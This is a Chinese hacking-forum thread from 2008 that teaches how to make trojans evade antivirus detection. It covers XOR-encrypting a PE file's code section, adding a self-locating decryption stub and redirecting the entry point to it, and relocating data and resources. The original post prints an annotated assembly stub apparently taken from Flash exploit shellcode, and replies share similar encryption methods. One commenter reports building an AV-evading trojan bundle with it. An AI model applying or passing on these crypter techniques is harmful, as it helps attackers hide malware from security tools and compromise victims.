打印

[原创] 写点自己用的高级一点的免杀技术 高手莫笑

本主题由 小3 于 2008-8-23 18:41 移动

写点自己用的高级一点的免杀技术 高手莫笑

现在一般的免杀方法大众化的都是手工定位特征码..然后改特征码..加壳方法不在此方法讨论范围内.但这种方法有个弊端,杀软是跟着你跑,但你也得跟着杀软跑,如果是流行度比较广的马,杀软几天一更新特征码,累死你...

      呵呵..现在进入正题,我们知道一般PE文件有比较重要的三个段,代码段,数据段,要是dll的话还有一个重定位段....一般杀软杀的都是代码段,还有杀字符串的,字符串一般都在数据段,nod32杀的是数据段的输入输出表..这些废话,大家都知道的.

      对于代码段,为了躲避跟着杀软跑我们得对代码段进行全部变形处理...有人问了,怎么变形呢?一般研究溢出,软件安全的DDMM,GGJJ们都知道在shellcode中有一种比较常见的为了保护自己的shellcode被直接修改利用用的xor加密...到这你应该可以想到了,这就是对整个代码段进行xor每个字节加密...但这样一来加密后就不能运行的..所以我们得找一段空白处,写一段我们的解密代码.并把文件入口点跳到这个解密代码上.
      就以最近的flash漏洞的shellcode解密头来讲解. shellcode就是这段解密头的.
027F5118   /EB 16                    jmp     short 027F5130      //跳到往下027F5130
027F511A   |5B                         pop     ebx //自定位完毕 ebx存是就是紧接着loader下的需要解密处的开始内存地址..也就是027F5131处的
027F511B   |33C9                      xor     ecx, ecx   //清空ecx为下面循环解密xor的字节做准备
027F511D   |66:B8 625D           mov     ax, 5D62   //传5D62给ax做初始密匙用
027F5121   |66:31044B            xor     word ptr [ebx+ecx*2], ax //对ebx+ecx*2处进行双字节解密..以前的都是单字节解密居多.
027F5125   |41                         inc     ecx //ecx加1,也就是密匙加1,动态变换密钥..这就是这个解密头的稍微比以前的解密强一点的地方..
027F5126   |40                     inc     eax //eax加1 累计解密多少次了.为下面判断做准备
027F5127   |66:81F9 5101        cmp     cx, 151 //此处的151比较就是后面加密的代码的总长度除二..可以替换成你自己按需要解密的总字节数除以二
027F512C   |7C F3                  jl      short 027F5121 //没有解密完就跳,继续解密
027F512E   |EB 05                  jmp     short 027F5135 //解密完了,跳到解密完的地方开始正式执行原程序的代码了,此处跳转地址改成你加密的地方的开始地址
027F5130   E8 E5FFFFFF     call    027F511A //配合027F511A处的pop ebx实现此代码的自定位..
面就是解密头...里面我已经注释非常清楚了...哈.到这里又有人要问了..怎么加密呀..上面已经有算法了..要用上面的话直接用这段代码直接运行一次就是就加密的代码了..呵呵..xor一次是加密,再一次xor是还原

这样代码段就变的面目全非了...完全不一样了...好下面是数据段的修改了
最简单的修改把原来的数据段里的东西分开处理.比如说资源..把资源全部移位,再修正指向资源的指针..其它以此类推.这完了数据段也处理完了..至少在原来的位置上的东东全部也不一样了...
重定位的段处理和数据段一样..
                                                           转载请注明出处..08.06.18 作者:kipass
                                                               零安全QQ群:    62276533 欢迎前来交流..myblog:http://hi.baidu.com/kipass
blog:http://hi.baidu.com/kipass

TOP

文章不错..支持下..提供了新思路~谢~~
额  俺一般是用区移动加密法修改
简单的步骤就是先移动PE头  然后进行段位加密
加密方法很简单  用异或加密  或者用逻辑加密 不过我一般习惯把解密代码另外分区
一般习惯是用不同的加密密钥连续加密不同位置  
不过测试的时候 影响部分上线速度 。。。。
http://hi.baidu.com/crazyyxb我的博客  休息的地方 欢迎大家浏览

TOP

这个好象不错哦....试了下做了个免杀捆绑.
不错的说。。。。。。。。。。。最近正在研究木马。。。。。。不知道该怎么免杀呢。。。嘎嘎
因爲別人很純潔,所似我很龌龊.

TOP

Processed in 0.077309 second(s), 6 queries, Gzip enabled